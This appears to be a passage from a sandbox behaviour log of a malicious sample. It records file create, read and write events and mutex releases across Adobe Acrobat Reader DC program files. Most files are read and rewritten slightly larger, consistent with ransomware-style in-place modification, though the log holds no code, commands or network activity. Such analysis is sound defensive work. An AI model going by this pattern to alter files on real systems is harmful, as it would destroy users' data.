File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DropboxStorage.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DropboxStorage.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DropboxStorage.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia.api, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia.api, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia.api, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia.api, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Spelling.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Spelling.api, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Spelling.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Spelling.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Spelling.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\tesselate.x3d, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\tesselate.x3d, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\tesselate.x3d, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\tesselate.x3d, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\email_initiator.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\email_initiator.gif, size = 1360, size_out = 1360	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\email_initiator.gif, size = 2776	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\pdf.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\pdf.gif, size = 480, size_out = 480	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\pdf.gif, size = 1896	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_issue.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_issue.gif, size = 576, size_out = 576	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_issue.gif, size = 1992	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOnNotificationInAcrobat.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOnNotificationInAcrobat.gif, size = 831, size_out = 831	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOnNotificationInAcrobat.gif, size = 2247	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-ui-theme.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-ui-theme.css, size = 2515, size_out = 2515	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-ui-theme.css, size = 3931	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adc_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adc_logo.png, size = 3709, size_out = 3709	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adc_logo.png, size = 5125	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\core_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\core_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\core_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\core_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_retina_thumb_highContrast_wob.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_retina_thumb_highContrast_wob.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_retina_thumb_highContrast_wob.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\aic_file_icons_retina_thumb_highContrast_wob.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\illustrations.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\illustrations.png, size = 4485, size_out = 4485	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\illustrations.png, size = 5901	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner_dark.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner_dark.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner_dark.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\progress_spinner_dark.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adc_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adc_logo.png, size = 3709, size_out = 3709	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adc_logo.png, size = 5125	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\core_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\core_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\core_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\core_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress-indeterminate.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress-indeterminate.gif, size = 1129, size_out = 1129	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress-indeterminate.gif, size = 2545	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-left.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-left.png, size = 297, size_out = 297	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-left.png, size = 1713	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\vscroll-thumb.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\vscroll-thumb.png, size = 276, size_out = 276	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\vscroll-thumb.png, size = 1692	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-down.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-down.gif, size = 66, size_out = 66	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-down.gif, size = 1482	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\de-de\ui-strings.js, size = 3790, size_out = 3790	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\de-de\ui-strings.js, size = 5206	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\hu-hu\ui-strings.js, size = 3752, size_out = 3752	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\hu-hu\ui-strings.js, size = 5168	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ru-ru\ui-strings.js, size = 4477, size_out = 4477	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ru-ru\ui-strings.js, size = 5893	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\config.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\config.js, size = 1427, size_out = 1427	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\config.js, size = 2843	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fi-fi\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fi-fi\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fi-fi\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pl-pl\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pl-pl\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pl-pl\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\uk-ua\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\uk-ua\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\uk-ua\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-il\ui-strings.js, size = 7217, size_out = 7217	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\icons.png, size = 8633	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ko-kr\ui-strings.js, size = 8167, size_out = 8167	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ko-kr\ui-strings.js, size = 9583	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sv-se\ui-strings.js, size = 7567, size_out = 7567	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\sv-se\ui-strings.js, size = 8983	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\css\main.css, size = 8111, size_out = 8111	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\css\main.css, size = 9527	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\bg_patterns_header.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\bg_patterns_header.png, size = 703, size_out = 703	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\bg_patterns_header.png, size = 2119	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\cs-cz\ui-strings.js, size = 1859, size_out = 1859	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\cs-cz\ui-strings.js, size = 3275	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-ma\ui-strings.js, size = 1864, size_out = 1864	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-ma\ui-strings.js, size = 3280	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ro-ro\ui-strings.js, size = 1892, size_out = 1892	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ro-ro\ui-strings.js, size = 3308	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-tw\ui-strings.js, size = 1732, size_out = 1732	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-tw\ui-strings.js, size = 3148	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\root\ui-strings.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\root\ui-strings.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\root\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\root\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-tool-view.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-tool-view.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-tool-view.js, size = 5512	1	Fn Data
